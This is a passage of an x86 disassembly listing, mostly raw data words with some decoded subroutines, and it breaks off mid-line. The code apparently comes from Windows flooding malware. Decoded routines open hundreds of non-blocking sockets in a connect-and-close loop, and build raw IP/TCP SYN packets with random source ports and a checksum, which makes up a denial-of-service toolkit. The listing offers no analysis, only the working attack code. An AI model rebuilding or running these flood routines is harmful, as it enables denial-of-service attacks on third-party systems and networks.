9889026Ah dd 19Ch, 0B6D415FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h dd 4CB5E8h, 44858D50h, 68FFFFFCh, 436314h, 8994E850h, 0FF330000h dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF6B5AE8h, 14C483FFh dd 0FC44858Dh, 0E850FFFFh, 2285h, 0E8C875FFh, 0FFFF84E3h dd 90575959h, 2CD0C7E8h, 0F44D8D02h, 3351046Ah, 57026AFFh dd 0F45D8950h, 0B63415FFh db 4Ch, 0 word_412F4E dw 0F883h ; DATA XREF: ___:off_43A86Co dd 0FF5D75FFh, 4CB5E815h, 858D5000h, 0FFFFFC44h, 4362E468h dd 1BE85000h, 83000089h, 7D390CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF6AE3h, 8D14C483h, 0FFFC4485h, 0EE850FFh, 0FF000022h dd 6CE8C875h, 59FFFF84h, 0E8905759h, 22CD050h, 0FE48858Dh dd 0FF50FFFFh, 4CB69415h, 0FFF88300h, 858D5575h, 0FFFFFC44h dd 4362C468h, 0B3E85000h, 39000088h, 5959DC7Dh, 8D572075h dd 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh dd 7CE8FFFFh, 83FFFF6Ah, 858D14C4h, 0FFFFFC44h, 21A7E850h dd 75FF0000h, 8405E8C8h, 5959FFFFh, 0E9E89057h, 6A022CCFh dd 0E4458D10h, 6DE85057h, 83000085h, 0C7660CC4h, 2E445h dd 5415FF57h, 66004CB6h, 8DE64589h, 0FFFE4885h, 15FF50FFh dd 4CB694h, 70A8358Bh, 45890042h, 87D89E8h, 4589D6FFh dd 2BD6FFF8h, 0D233F845h, 3E8B9h, 3BF1F700h, 870FD045h dd 194h, 41C68h, 0C805C600h, 45004CE3h, 0B65415FFh, 7D39004Ch dd 0CAA366D4h, 66004CE3h, 0E3CC1D89h, 8966004Ch, 4CE3CE3Dh dd 0D005C600h, 80004CE3h, 0E3D11D88h, 8966004Ch, 4CE3D23Dh dd 0E8307400h, 8832h, 0E3C1D88Bh, 8828E808h, 0D8030000h dd 0E808E3C1h, 881Eh, 0E3C1D803h, 8814E808h, 0D8030000h dd 1D89016Ah, 4CE3D4h, 0FF18EB5Bh, 0FFFE44B5h, 7B2AE8FFh dd 5059FFFFh, 0B69415FFh, 0D4A3004Ch, 8B004CE3h, 0D8A3E845h dd 0E8004CE3h, 87E2h, 100B999h, 0F9F70000h, 0E3DC1588h dd 0CFE8004Ch, 99000087h, 100B9h, 88F9F700h, 4CE3DD15h dd 87BCE800h, 0B9990000h, 0F0h, 40068h, 66F9F700h, 0E3DE3D89h dd 8966004Ch, 4CE3E21Dh, 89664200h, 4CE3E015h, 8794E800h dd 0B9990000h, 0FFh, 6852F9F7h, 4CE3E4h, 842FE8h, 0CC48300h dd 6AE4458Dh, 68575010h, 41Ch, 4CE3C868h, 0FC75FF00h, 0B6B815FFh dd 0F883004Ch, 0FF0874FFh, 0CAE90845h, 0FFFFFFFEh, 15FFFC75h dd 4CB6ECh, 0B5E815FFh, 8D50004Ch, 0FFFE4885h, 875FFFFh dd 627C6850h, 858D0043h, 0FFFFFC44h, 20068h, 0C5E85000h dd 83000087h, 7D3918C4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6893h dd 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00001Fh, 1CE8C875h dd 59FFFF82h, 1E85759h, 90022CCEh, 0FFFC75FFh, 4CB6EC15h dd 8458B00h, 0C06BD233h, 0C1C88B3Ch, 75F70AE8h, 14E9C1D0h dd 858D5051h, 0FFFFFE48h, 500875FFh, 0FEC8858Dh, 8D50FFFFh dd 0FFFC4485h, 623068FFh, 0E8500043h, 8646h, 391CC483h dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h dd 0B5FF50FFh, 0FFFFFE44h, 0FF680EE8h, 14C483FFh, 0FC44858Dh dd 0E850FFFFh, 1F39h, 0E8C875FFh, 0FFFF8197h, 90575959h dd 2CCD7BE8h db 2 byte_413285 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5510o dd 10320B8h, 888EE800h, 458B0000h, 57565308h, 0F08B496Ah dd 0BCBD8D59h, 0F3FFFFFEh, 5F016AA5h, 120B889h, 15FF0000h dd 4CB5DCh, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CB694h dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh dd 4CB6D8h, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h dd 0BC858D50h, 68FFFFFCh, 43636Ch, 8588E850h, 0C4830000h dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h dd 50FFFFFEh, 0FEBCB5FFh, 50E8FFFFh, 83FFFF67h, 858D14C4h dd 0FFFFFCBCh, 1E7BE850h, 75FF0000h, 80D9E8D0h, 5959FFFFh dd 0CCBEE857h, 3B90022Ch, 8B0C74C3h, 8B0C40h, 4589008Bh dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 822EE850h, 4D830000h dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h, 7D39C445h dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh dd 4CB56C15h, 753B4600h, 0FFDA7CC0h, 15FF0875h, 4CB70Ch dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 634068FFh, 0E8500043h dd 84BAh, 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6682E8h dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1DADh, 0E8D075FFh dd 0FFFF800Bh, 90535959h, 2CCBEFE8h db 2 byte_413411 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+575Co dd 10310B8h, 8702E800h, 458B0000h, 57565308h, 0F08B496Ah dd 0CCBD8D59h, 0F3FFFFFEh, 5E016AA5h, 120B089h, 66E80000h dd 900227D6h, 8492E850h, 6A590000h, 6A026A11h, 0D415FF02h dd 8B004CB6h, 6AFF33D8h, 0F0458D10h, 2DE85057h, 83000081h dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CB69415h dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh, 0B6D815FFh dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh dd 4363C0h, 83DCE850h, 0C4830000h, 0E87D390Ch, 8D572075h dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh dd 0A4E8FFFFh, 83FFFF65h, 858D14C4h, 0FFFFFCCCh, 1CCFE850h dd 75FF0000h, 7F2DE8E0h, 5959FFFFh, 11E89056h, 8B022CCBh dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h dd 83DAh, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh dd 4CB65415h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h, 838CE81Ah dd 0B9990000h, 0FFh, 3B46F9F7h, 9488D475h, 0FEFCEF35h dd 8BE67CFFh, 4DFFD045h, 7EC085D0h, 5E0B6A55h, 6AF0458Dh dd 0E8575010h, 835Eh, 59990A6Ah, 458BF9F7h, 50C22BD4h dd 0FCF0858Dh, 5350FFFEh, 0B6B815FFh, 75FF004Ch, 59E890D8h dd 4E0226CAh, 7D39CE75h, 0E8BC75DCh, 832Eh, 0FFDCB999h dd 0F9F70000h, 15FF5242h, 4CB654h, 0F2458966h, 858DA1EBh dd 0FFFFFF50h, 0CC858D50h, 68FFFFFCh, 436394h, 82A4E850h dd 0C4830000h, 0E87D390Ch, 8D572075h, 0FFFCCC85h, 0E475FFFFh dd 0D0858D50h, 50FFFFFEh, 0FECCB5FFh, 6CE8FFFFh, 83FFFF64h dd 858D14C4h, 0FFFFFCCCh, 1B97E850h, 75FF0000h, 7DF5E8E0h dd 5959FFFFh, 0D9E89057h db 0C9h, 2Ch, 2 byte_413627 db 55h ; DATA XREF: sub_401ACD+4DEDo dd 0EC81EC8Bh, 414h, 5608458Bh, 85B957h, 0F08B0000h, 0FDECBD8Dh dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 120h dd 500CC483h, 0FBEC858Dh, 0E868FFFFh, 50004363h, 8209E8h dd 83F63300h, 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF63CFh dd 8D14C483h, 0FFFBEC85h, 0FAE850FFh, 0FF00001Ah, 58E8F075h dd 59FFFF7Dh, 0E8905659h, 22CC93Ch ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C6 proc near ; CODE XREF: ___:004137AFp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CB654 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413784 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413711: ; CODE XREF: sub_4136C6+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413719: ; CODE XREF: sub_4136C6+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373C lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_41373C: ; CODE XREF: sub_4136C6+64j add esi, 4 dec ebx jnz short loc_413719 lea esi, [ebp+var_654] mov ebx, edi loc_41374A: ; CODE XREF: sub_4136C6+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_41374A push 64h nop call near ptr 2680000h lea esi, [ebp+var_654] mov ebx, edi loc_41376E: ; CODE XREF: sub_4136C6+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376E dec [ebp+arg_4] jnz short loc_413711 pop edi pop esi pop ebx loc_413784: ; CODE XREF: sub_4136C6+3Ej xor eax, eax leave retn sub_4136C6 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAFA push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C6 add esp, 18h test eax, eax jnz short loc_4137BE push 1 pop eax loc_4137BE: ; CODE XREF: ___:004137B9j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_4137CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+644Ao dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h dd 858D50FFh, 0FFFFFDF0h, 310E850h, 0C4830000h, 858D500Ch dd 0FFFFFBECh, 43641468h, 63E85000h, 33000080h, 0CC483F6h dd 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh, 0FF70858Dh dd 0FF50FFFFh, 0FFFDECB5h, 6229E8FFh, 0C483FFFFh, 0EC858D14h dd 50FFFFFBh, 1954E8h, 0F075FF00h, 0FF7BB2E8h, 565959FFh dd 0C796E890h, 5E5F022Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386C proc near ; CODE XREF: ___:00413B5Ap var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB5C4 test eax, eax jz short loc_4138AC xor eax, eax jmp loc_413B1A ; --------------------------------------------------------------------------- loc_4138AC: ; CODE XREF: sub_41386C+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB6F8 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B12 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB634 cmp eax, 0FFFFFFFFh jz loc_413B08 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CB654 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB654 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB654 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB654 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2780378h lea eax, [ebp+var_8] push eax nop call near ptr 2780000h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413997: ; CODE XREF: sub_41386C+25Dj ; sub_41386C+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB654 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CB654 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB650 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB654 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC69 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC69 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CB6B8 cmp eax, 0FFFFFFFFh jz short loc_413ADC add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 2780000h mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B05 jl loc_413997 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B05 jmp loc_413997 ; --------------------------------------------------------------------------- loc_413ADC: ; CODE XREF: sub_41386C+247j call dword_4CB5E8 push eax lea eax, [ebp+var_F4] push offset dword_43643C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AD add esp, 10h jmp short loc_413B08 ; --------------------------------------------------------------------------- loc_413B05: ; CODE XREF: sub_41386C+25Bj ; sub_41386C+269j mov ebx, [ebp+arg_8] loc_413B08: ; CODE XREF: sub_41386C+78j ; sub_41386C+297j push [ebp+var_C] call dword_4CB6EC pop esi loc_413B12: ; CODE XREF: sub_41386C+5Bj call dword_4CB5AC mov eax, ebx loc_413B1A: ; CODE XREF: sub_41386C+3Bj pop edi pop ebx leave retn sub_41386C endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAFA push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386C add esp, 1Ch test eax, eax jnz short loc_413B69 push 1 pop eax loc_413B69: ; CODE XREF: ___:00413B64j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_413B78 dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh ; DATA XREF: sub_401ACD+6E45o dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7BD0E8h dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 5DE850h dd 59590000h, 6C858D50h, 68FFFFFCh, 43645Ch, 7CB4E850h dd 0F6330000h, 390CC483h, 2075F875h, 6C858D56h, 0FFFFFFFCh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5E7AE8h dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 15A5h, 0E8F075FFh dd 0FFFF7803h, 90565959h, 2CC3E7E8h, 555E5F02h, 0EC81EC8Bh dd 98h, 6A575653h, 0A5835901h, 0FFFFFF78h, 83046A00h, 5E00A865h dd 0FFBBh, 33066A00h, 7D8D5AC0h, 7C8D89ACh, 0C7FFFFFFh dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h dd 0C7000000h, 3AA045h, 5D890000h, 0B04589A4h, 0D47D8DABh dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh dd 0AE85700h, 59000093h, 57FC4589h, 6815FF50h, 0FF004CB6h dd 15FFFC75h, 4CB6D8h, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h dd 4CB6D415h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h dd 4CB634h, 200BEh, 0D2E85600h, 8B000077h, 4270A83Dh, 45895900h dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch dd 6885C766h, 2FFFFFFh, 5415FF00h, 66004CB6h, 0FF6A8589h dd 0D7FFFFFFh, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 0F0C453Bh dd 0CF87h, 7B90E800h, 8B990000h, 8BF9F7CBh, 0FF25F445h dd 0C100FFFFh, 0D00B18E2h, 0E8F45589h, 7B76h, 0F7CB8B99h dd 0AC5589F9h, 7B69E8h, 0A4B99900h, 0C600001Fh, 0F745DC45h dd 0DD45C6F9h, 0D4558904h, 7B51E8h, 45896600h, 7B48E8E0h dd 0A6A0000h, 0F9F75999h, 95448B66h, 15FF50B0h, 4CB654h dd 45896656h, 5415FFE2h, 66004CB6h, 88DE4589h, 1FE8E45Dh dd 6A00007Bh, 0F759990Eh, 8A146AF9h, 0FF789584h, 4588FFFFh dd 0F4458BE5h, 8BE84589h, 45890845h, 0DC458DECh, 6E7FE850h dd 8966FFFFh, 458DE645h, 50146ADCh, 0E8F875FFh, 8514h dd 8D14C483h, 0FFFF6885h, 50106AFFh, 0FF56006Ah, 75FFF875h dd 0B815FFFCh, 0E9004CB6h, 0FFFFFF1Ah, 0E8F875FFh, 728Dh dd 0FC75FF59h, 0B6EC15FFh, 16A004Ch, 5B5E5F58h ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_413E36 dw 8B55h ; DATA XREF: sub_401ACD+53E9o dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h dd 0FFFFFDC0h, 16AA5F3h, 8D5EDB33h, 0FFFF61BDh, 890E6AFFh dd 19CB0h, 0C0335900h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h dd 4270A83Dh, 50D7FF00h, 7A57E8h, 0FF685900h, 6A000000h dd 0FF026A03h, 4CB6D415h, 0FFF88300h, 75FC4589h, 0E815FF66h dd 50004CB5h, 0FBC0858Dh, 7468FFFFh, 50004365h, 79D5E8h dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh dd 0FFFF5B97h, 8D14C483h, 0FFFBC085h, 0C2E850FFh, 0FF000012h dd 0FFFF44B5h, 751DE8FFh, 5959FFFFh, 0C102E853h, 8D90022Ch dd 46ACC4Dh, 53026A51h, 0CC758950h, 0B63415FFh, 0F883004Ch dd 0FF6675FFh, 4CB5E815h, 858D5000h, 0FFFFFBC0h, 43653C68h dd 57E85000h, 83000079h, 9D390CC4h, 0FFFFFF58h, 8D532375h dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh dd 0FFFDC0B5h, 5B19E8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh dd 1244E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF749Fh, 90535959h dd 2CC083E8h, 0C4858D02h, 50FFFFFDh, 0B69415FFh, 0F883004Ch dd 8D5E75FFh, 0FFFBC085h, 651C68FFh, 0E8500043h, 78E6h dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5AA9E8FFh dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11D4E8h, 44B5FF00h dd 0E8FFFFFFh, 0FFFF742Fh, 90535959h, 2CC013E8h, 8D106A02h dd 5053BC45h, 7597E8h, 0CC48300h, 0BC45C766h, 0FF530002h dd 4CB65415h, 45896600h, 0C4858DBEh, 50FFFFFDh, 0B69415FFh dd 4589004Ch, 85D89C0h, 4589D7FFh, 2BD7FFD0h, 0D233D045h dd 3E8B9h, 3BF1F700h, 0FFFF4C85h, 0AA870FFFh, 6A000002h dd 0D445C628h, 5415FF45h, 39004CB6h, 0FFFF509Dh, 458966FFh dd 758966D6h, 5D8966D8h, 0DC45C6DAh, 0DD45C680h, 5D896606h dd 0E82D74DEh, 7872h, 0E6C1F08Bh, 7868E808h, 0F0030000h dd 0E808E6C1h, 785Eh, 0E6C1F003h, 7854E808h, 0F0030000h dd 7589016Ah, 16EB5EE0h, 0FDC0B5FFh, 6DE8FFFFh, 59FFFF6Bh dd 9415FF50h, 89004CB6h, 458BE045h, 489D39C0h, 89FFFFFFh dd 1075E445h, 7821E8h, 1B99900h, 0F7000004h, 6EB52F9h dd 0FF48B5FFh, 15FFFFFFh, 4CB654h, 0EA458966h, 7801E8h dd 1B99900h, 0F7000004h, 15FF52F9h, 4CB654h, 34567868h dd 45896612h, 5015FFE8h, 89004CB6h, 858DEC45h, 0FFFFFE44h dd 42B28868h, 0EDE85000h, 59000077h, 7459C085h, 0F05D8909h dd 2F545C6h, 858D5CEBh, 0FFFFFE44h, 42B0C068h, 0CDE85000h dd 59000077h, 7459C085h, 0F05D8909h, 10F545C6h, 858D3CEBh dd 0FFFFFE44h, 42B0B868h, 0ADE85000h, 59000077h, 7459C085h dd 7784E825h, 36A0000h, 0F9F75999h, 0E8F05589h, 7776h dd 5999026Ah, 0DAF7F9F7h, 0E280D21Ah, 88D1020Eh, 68F555h dd 0C6000002h, 0FF50F445h, 4CB65415h, 45896600h, 0E0458BF6h dd 8B9C4589h, 146AE445h, 0FA5D8966h, 0F85D8966h, 88A04589h dd 45C6A45Dh, 15FF06A5h, 4CB654h, 0A6458966h, 6A9C458Dh dd 858D5020h, 0FFFFFF60h, 8146E850h, 458D0000h, 50146AE8h dd 5080458Dh, 8137E8h, 60858D00h, 6AFFFFFFh, 82E85034h dd 66FFFF6Ah, 8DF84589h, 146AD445h, 60858D50h, 50FFFFFFh dd 8113E8h, 0E8458D00h, 8D50146Ah, 0FFFF7485h, 1E850FFh dd 6A000081h, 88458D04h, 75E85053h, 83000073h, 858D44C4h dd 0FFFFFF60h, 0E850286Ah, 0FFFF6A3Dh, 0DE458966h, 6AD4458Dh dd 858D5014h, 0FFFFFF60h, 80CEE850h, 0C4830000h, 0BC458D14h dd 5350106Ah, 0FF60858Dh, 3C6AFFFFh, 0FC75FF50h, 0B6B815FFh dd 0F883004Ch, 0FF0874FFh, 0BAE90845h, 0FFFFFFFDh, 15FFFC75h dd 4CB6ECh, 0B5E815FFh, 8D50004Ch, 0FFFDC485h, 875FFFFh dd 64CC6850h, 858D0043h, 0FFFFFBC0h, 20068h, 0E5E85000h dd 83000076h, 9D3918C4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h dd 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h dd 57ADE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 0ED8E8h dd 44B5FF00h, 0E8FFFFFFh, 0FFFF7133h, 90535959h, 2CBD17E8h dd 0FC75FF02h, 0B6EC15FFh, 458B004Ch, 6BD23308h, 0C88B3CC0h dd 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h, 0FFFFFDC4h dd 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h, 647C68FFh dd 0E8500043h, 755Ah, 391CC483h, 0FFFF589Dh, 532375FFh dd 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh dd 0FDC0B5FFh, 1CE8FFFFh, 83FFFF57h, 858D14C4h, 0FFFFFBC0h dd 0E47E850h, 0B5FF0000h, 0FFFFFF44h, 0FF70A2E8h, 535959FFh dd 0BC86E890h ; --------------------------------------------------------------------------- sub al, 2 push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A6 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414398: ; CODE XREF: ___:004143A0j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414398 pop edi cmp eax, 1 loc_4143A6: ; CODE XREF: ___:0041438Cj jnz short loc_4143B3 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B3: ; CODE XREF: ___:loc_4143A6j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- dword_4143CC dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh ; DATA XREF: sub_401ACD+6D4Ao dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 737CE8h dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 6CB58D50h dd 81FFFFFEh, 194ECh, 59656A00h, 0A5F3FC8Bh, 5FE8h, 9CC48100h dd 50000001h, 0FC6C858Dh, 0A868FFFFh, 50004365h, 7449E8h dd 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh, 0FFFF560Fh dd 8D14C483h, 